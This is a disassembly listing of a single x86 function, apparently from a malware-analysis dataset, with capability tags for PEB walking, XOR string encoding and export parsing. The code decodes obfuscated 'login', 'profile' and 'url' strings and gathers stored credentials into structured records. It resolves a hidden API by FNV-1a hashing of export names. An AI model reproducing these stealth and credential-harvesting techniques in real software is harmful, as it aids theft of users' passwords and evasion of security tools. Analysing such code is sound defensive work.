Function at 0x9cc540
Capabilities:
Access peb ldr_data
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xa96225
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x188
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x78], edi
mov dword [ebp - 0x94], 1
lea esi, [edi + 8]
mov dword [ebp - 4], 0
push 0
mov ecx, esi
mov byte [edi], 0
mov dword [ebp - 0x4c], esi
call fcn.009f6b10
sub esp, 8
mov dword [ebp - 4], 1
mov eax, esp
mov dword [ebp - 0x94], 1
lea ecx, [ebp - 0x60]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.009f2f50
add esp, 8
mov dword [ebp - 4], 2
xor ecx, ecx
mov dword [ebp - 0x18], 0x18170002
mov dword [ebp - 0x14], 0x100001c
lea eax, [ecx + 0x6e]
xor byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 6
jb 0x9cc5e1
cmp byte [edi], 0
mov byte [ebp - 0x11], 0
jne 0x9cc60f
push 1
lea ecx, [ebp - 0x48]
mov byte [edi], 1
call fcn.009f6b10
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [esi], eax
mov dword [esi + 4], ecx
cmp byte [edi], 1
jne 0x9ccea1
mov esi, dword [esi]
lea edx, [ebp - 0x18]
xorps xmm0, xmm0
mov dword [ebp - 0x80], 0
movups xmmword [ebp - 0x90], xmm0
mov dword [ebp - 0x7c], 0
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x9cc638
sub edx, ecx
lea eax, [ebp - 0x18]
push edx
push eax
lea ecx, [ebp - 0x90]
call fcn.00992810
lea eax, [ebp - 0x90]
mov byte [ebp - 4], 3
push eax
mov ecx, esi
call fcn.009fc1a0
mov byte [ebp - 4], 2
mov edi, eax
mov ecx, dword [ebp - 0x7c]
cmp ecx, 0x10
jb 0x9cc6a0
mov edx, dword [ebp - 0x90]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x9cc696
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x9cced5
push ecx
push edx
call fcn.00a6c232
add esp, 8
mov byte [ebp - 4], 1
mov al, byte [ebp - 0x60]
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x7c], 0xf
mov byte [ebp - 0x90], 0
mov cl, byte [edi]
mov byte [edi], al
mov eax, dword [ebp - 0x58]
mov byte [ebp - 0x60], cl
mov ecx, dword [ebp - 0x54]
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x60]
mov dword [edi + 8], eax
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x54], esi
call fcn.009f2bb0
lea eax, [ebp - 0x20]
mov dword [ebp - 0x74], 0
push eax
lea eax, [ebp - 0x74]
mov dword [ebp - 0x20], 0
push eax
push 1
push 0
nop
nop
nop
nop
nop
nop
test eax, eax
je 0x9cce8b
xor esi, esi
mov dword [ebp - 0x2c], esi
cmp dword [ebp - 0x74], esi
jbe 0x9ccde4
nop dword [eax]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + esi*4]
test eax, eax
je 0x9ccdd7
cmp dword [eax + 0x30], 0
je 0x9ccdd7
mov ecx, dword [eax + 4]
cmp ecx, 1
je 0x9cc749
cmp ecx, 4
jne 0x9ccdd7
mov eax, dword [eax + 0x18]
cmp eax, 0xc9
jae 0x9ccdd7
test eax, eax
je 0x9ccdd7
push 0xaaf4b8
lea ecx, [ebp - 0x130]
call fcn.00992700
mov dword [ebp - 4], 6
xor edi, edi
mov ecx, dword [ebp - 0x20]
mov eax, dword [ecx + esi*4]
cmp dword [eax + 0x18], edi
jbe 0x9cc7d4
mov eax, dword [ecx + esi*4]
mov eax, dword [eax + 0x1c]
cmp byte [edi + eax], 0
je 0x9cc7cb
mov eax, dword [ebp - 0x120]
lea ecx, [ebp - 0x130]
push 0
inc eax
push eax
call fcn.009f4bf0
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x130]
mov eax, dword [eax + esi*4]
mov esi, dword [eax + 0x1c]
call fcn.009927a0
mov ecx, dword [ebp - 0x120]
mov dl, byte [edi + esi]
mov esi, dword [ebp - 0x2c]
mov byte [eax + ecx - 1], dl
mov ecx, dword [ebp - 0x20]
mov eax, dword [ecx + esi*4]
inc edi
cmp edi, dword [eax + 0x18]
jb 0x9cc783
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x58]
push 0
mov byte [ebp - 0x60], 0
call fcn.009f6b10
mov byte [ebp - 4], 8
xorps xmm0, xmm0
push 0x18
movq qword [ebp - 0xa0], xmm0
mov byte [ebp - 0xa8], 3
call fcn.00a6bfb1
mov esi, eax
add esp, 4
lea eax, [ebp - 0x6b]
mov dword [ebp - 0x104], esi
mov dword [ebp - 0x108], eax
mov byte [ebp - 4], 9
xorps xmm0, xmm0
push 0
movups xmmword [esi], xmm0
push 0xaaf4b8
mov ecx, esi
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
call fcn.00992810
mov dword [ebp - 0x104], 0
mov dword [ebp - 0xa0], esi
mov byte [ebp - 4], 0xa
xor ecx, ecx
mov dword [ebp - 0x35], 0x171f1d1e
mov dword [ebp - 0x31], 0x111f1b
mov byte [ebp - 0x2d], 1
lea eax, [ecx + 0x6e]
xor byte [ebp + ecx - 0x35], al
inc ecx
cmp ecx, 7
jb 0x9cc865
mov al, byte [ebp - 0x60]
mov byte [ebp - 0x2d], 0
test al, al
jne 0x9cc8a2
push 1
lea ecx, [ebp - 0x110]
mov byte [ebp - 0x60], 1
call fcn.009f6b10
mov edi, dword [ebp - 0x110]
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x54], eax
jmp 0x9cc8ad
cmp al, 1
jne 0x9ccf2e
mov edi, dword [ebp - 0x58]
xorps xmm0, xmm0
mov dword [ebp - 0xc8], 0
lea ecx, [ebp - 0x35]
mov dword [ebp - 0xc4], 0
movups xmmword [ebp - 0xd8], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x9cc8d1
sub ecx, edx
lea eax, [ebp - 0x35]
push ecx
push eax
lea ecx, [ebp - 0xd8]
call fcn.00992810
lea eax, [ebp - 0xd8]
mov byte [ebp - 4], 0xb
push eax
mov ecx, edi
call fcn.009fc1a0
mov byte [ebp - 4], 0xa
mov edx, eax
mov ecx, dword [ebp - 0xc4]
mov dword [ebp - 0x1c], edx
cmp ecx, 0x10
jb 0x9cc942
mov edx, dword [ebp - 0xd8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x9cc935
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x9cced5
push ecx
push edx
call fcn.00a6c232
mov edx, dword [ebp - 0x1c]
add esp, 8
mov byte [ebp - 4], 8
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0xf
mov byte [ebp - 0xd8], 0
mov al, byte [edx]
mov byte [ebp - 0xa8], al
mov eax, dword [ebp - 0x1c]
mov byte [edx], 3
mov ecx, dword [edx + 8]
mov edx, dword [edx + 0xc]
mov dword [eax + 8], esi
mov esi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0xa0], ecx
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0x9c], edx
mov dword [esi + 0xc], eax
call fcn.009f2bb0
mov eax, dword [ebp - 0x20]
xorps xmm0, xmm0
mov esi, dword [ebp - 0x2c]
push 0x18
movq qword [ebp - 0x80], xmm0
mov byte [ebp - 0x88], 3
mov esi, dword [eax + esi*4]
call fcn.00a6bfb1
mov edx, eax
add esp, 4
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], edx
mov byte [ebp - 4], 0xe
xorps xmm0, xmm0
mov esi, dword [esi + 8]
mov ecx, esi
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
lea eax, [ecx + 1]
mov dword [ebp - 0x1c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x9cc9f4
sub ecx, dword [ebp - 0x1c]
push ecx
push esi
mov ecx, edx
call fcn.00992810
mov esi, dword [ebp - 0x3c]
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x80], esi
mov byte [ebp - 4], 0xf
xor ecx, ecx
mov dword [ebp - 0x25], 0x1c1d1b
mov byte [ebp - 0x21], 1
lea eax, [ecx + 0x6e]
xor byte [ebp + ecx - 0x25], al
inc ecx
cmp ecx, 3
jb 0x9cca28
xorps xmm0, xmm0
mov byte [ebp - 0x21], 0
lea ecx, [ebp - 0x25]
mov dword [ebp - 0xe0], 0
movups xmmword [ebp - 0xf0], xmm0
mov dword [ebp - 0xdc], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x9cca60
sub ecx, edx
lea eax, [ebp - 0x25]
push ecx
push eax
lea ecx, [ebp - 0xf0]
call fcn.00992810
lea eax, [ebp - 0xf0]
mov byte [ebp - 4], 0x10
push eax
mov ecx, edi
call fcn.009fc1a0
mov byte [ebp - 4], 0xf
mov edx, eax
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x1c], edx
cmp ecx, 0x10
jb 0x9ccad1
mov edx, dword [ebp - 0xf0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x9ccac4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x9cced5
push ecx
push edx
call fcn.00a6c232
mov edx, dword [ebp - 0x1c]
add esp, 8
mov byte [ebp - 4], 8
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0xdc], 0xf
mov byte [ebp - 0xf0], 0
mov al, byte [edx]
mov byte [ebp - 0x88], al
mov eax, dword [ebp - 0x1c]
mov byte [edx], 3
mov ecx, dword [edx + 8]
mov edx, dword [edx + 0xc]
mov dword [eax + 8], esi
mov esi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x80], ecx
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x7c], edx
mov dword [esi + 0xc], eax
call fcn.009f2bb0
mov eax, dword [ebp - 0x20]
sub esp, 0x10
mov ecx, dword [ebp - 0x2c]
xorps xmm0, xmm0
mov dword [ebp - 0x98], esp
mov esi, dword [eax + ecx*4]
mov eax, esp
push 0x18
mov dword [ebp - 0x50], eax
movq qword [eax + 8], xmm0
mov byte [eax], 3
call fcn.00a6bfb1
mov edx, eax
add esp, 4
lea eax, [ebp - 0x6d]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xf4], edx
mov byte [ebp - 4], 0x13
xorps xmm0, xmm0
mov esi, dword [esi + 0x30]
mov ecx, esi
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
lea eax, [ecx + 1]
mov dword [ebp - 0x3c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x9ccb84
sub ecx, dword [ebp - 0x3c]
push ecx
push esi
mov ecx, edx
call fcn.00992810
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xf4], 0
mov dword [ecx + 8], eax
mov byte [ebp - 4], 0x14
xor ecx, ecx
mov dword [ebp - 0x17], 0x18170002
mov word [ebp - 0x13], 0x1c
mov byte [ebp - 0x11], 1
lea eax, [ecx + 0x6e]
xor byte [ebp + ecx - 0x17], al
inc ecx
cmp ecx, 5
jb 0x9ccbc1
xorps xmm0, xmm0
mov byte [ebp - 0x11], 0
lea edx, [ebp - 0x17]
mov dword [ebp - 0x138], 0
movups xmmword [ebp - 0x148], xmm0
mov dword [ebp - 0x134], 0
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x9ccbf6
sub edx, ecx
lea eax, [ebp - 0x17]
push edx
push eax
lea ecx, [ebp - 0x148]
call fcn.00992810
lea eax, [ebp - 0x148]
mov byte [ebp - 4], 0x15
push eax
mov ecx, edi
call fcn.009fc1a0
lea ecx, [ebp - 0x148]
mov byte [ebp - 4], 0x14
mov esi, eax
call fcn.00992660
mov ecx, esi
mov byte [ebp - 4], 8
call fcn.009f2bd0
sub esp, 0x10
lea eax, [ebp - 0x130]
mov ecx, esp
mov dword [ebp - 0x98], esp
push eax
call fcn.009f9940
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x6a]
mov dword [ebp - 0x6a], 0x2030e1e
mov dword [ebp - 0x66], 0x11061c05
mov word [ebp - 0x62], 0x100
call fcn.0099e8d0
push eax
lea ecx, [ebp - 0x60]
call fcn.009f9120
mov ecx, eax
mov byte [ebp - 4], 8
call fcn.009f2bd0
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x48], 0x18170002
mov dword [ebp - 0x44], 0x100001c
call fcn.0099ffb0
mov edi, dword [ebp - 0x78]
mov esi, eax
cmp byte [edi], 0
jne 0x9cccce
push 1
lea ecx, [ebp - 0x100]
mov byte [edi], 1
call fcn.009f6b10
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x100]
mov edx, dword [ebp - 0xfc]
mov dword [eax], ecx
mov dword [eax + 4], edx
jmp 0x9cccd1
mov eax, dword [ebp - 0x4c]
cmp byte [edi], 1
jne 0x9cceda
mov edi, dword [eax]
mov edx, esi
xorps xmm0, xmm0
mov dword [ebp - 0xb0], 0
movups xmmword [ebp - 0xc0], xmm0
mov dword [ebp - 0xac], 0
lea ecx, [edx + 1]
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x9ccd00
sub edx, ecx
lea ecx, [ebp - 0xc0]
push edx
push esi
call fcn.00992810
lea eax, [ebp - 0xc0]
mov byte [ebp - 4], 0x19
push eax
mov ecx, edi
call fcn.009fc1a0
mov byte [ebp - 4], 8
mov esi, eax
mov ecx, dword [ebp - 0xac]
cmp ecx, 0x10
jb 0x9ccd68
mov edx, dword [ebp - 0xc0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x9ccd5e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x9cced5
push ecx
push edx
call fcn.00a6c232
add esp, 8
lea eax, [ebp - 0x60]
mov dword [ebp - 0xb0], 0
push eax
mov ecx, esi
mov dword [ebp - 0xac], 0xf
mov byte [ebp - 0xc0], 0
call fcn.009f2530
lea ecx, [ebp - 0x60]
call fcn.009f2bb0
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x11c]
cmp ecx, 0x10
jb 0x9ccdd4
mov edx, dword [ebp - 0x130]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x9ccdca
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x9cced5
push ecx
push edx
call fcn.00a6c232
add esp, 8
mov esi, dword [ebp - 0x2c]
inc esi
mov dword [ebp - 0x2c], esi
cmp esi, dword [ebp - 0x74]
jb 0x9cc720
cmp dword [ebp - 0x20], 0
je 0x9cce8b
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x4c], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x3c], ecx
cmp ecx, edx
je 0x9cce67
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x9cce67
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, edx
sub ecx, 4
dec edi
mov dword [ebp - 0x50], ecx
mov esi, 0x811c9dc5
mov ecx, dword [ecx]
add ecx, edx
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x9cce5d
nop dword [eax]
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x9cce40
cmp esi, 0x2ad736ef
je 0x9cce6b
mov ecx, dword [ebp - 0x50]
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x9cce25
mov eax, dword [eax]
jmp 0x9cce00
mov esi, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x4c]
push dword [ebp - 0x20]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov ecx, edi
call fcn.009f6de0
push eax
lea ecx, [ebp - 0x160]
call fcn.00992700
push eax
mov edx, 0xaafde8
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x198]
call fcn.009f8f70
add esp, 4
mov byte [ebp - 4], 5
jmp 0x9ccf5e
call fcn.00a714d0
mov ecx, edi
call fcn.009f6de0
push eax
lea ecx, [ebp - 0x148]
call fcn.00992700
push eax
mov edx, 0xaafde8
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0xc0]
call fcn.009f8f70
add esp, 4
push eax
mov edx, 0x131
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x164]
call fcn.00998920
add esp, 4
lea eax, [ebp - 0x164]
push 0xac0258
push eax
call fcn.00a6dc1b
lea ecx, [ebp - 0x60]
call fcn.009f6de0
push eax
lea ecx, [ebp - 0x198]
call fcn.00992700
push eax
mov edx, 0xaafde8
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x160]
call fcn.009f8f70
add esp, 4
mov byte [ebp - 4], 0xd
push eax
mov edx, 0x131
lea ecx, [ebp - 0x180]
call fcn.00998920
add esp, 4
lea eax, [ebp - 0x180]
push 0xac0258
push eax
call fcn.00a6dc1b
int3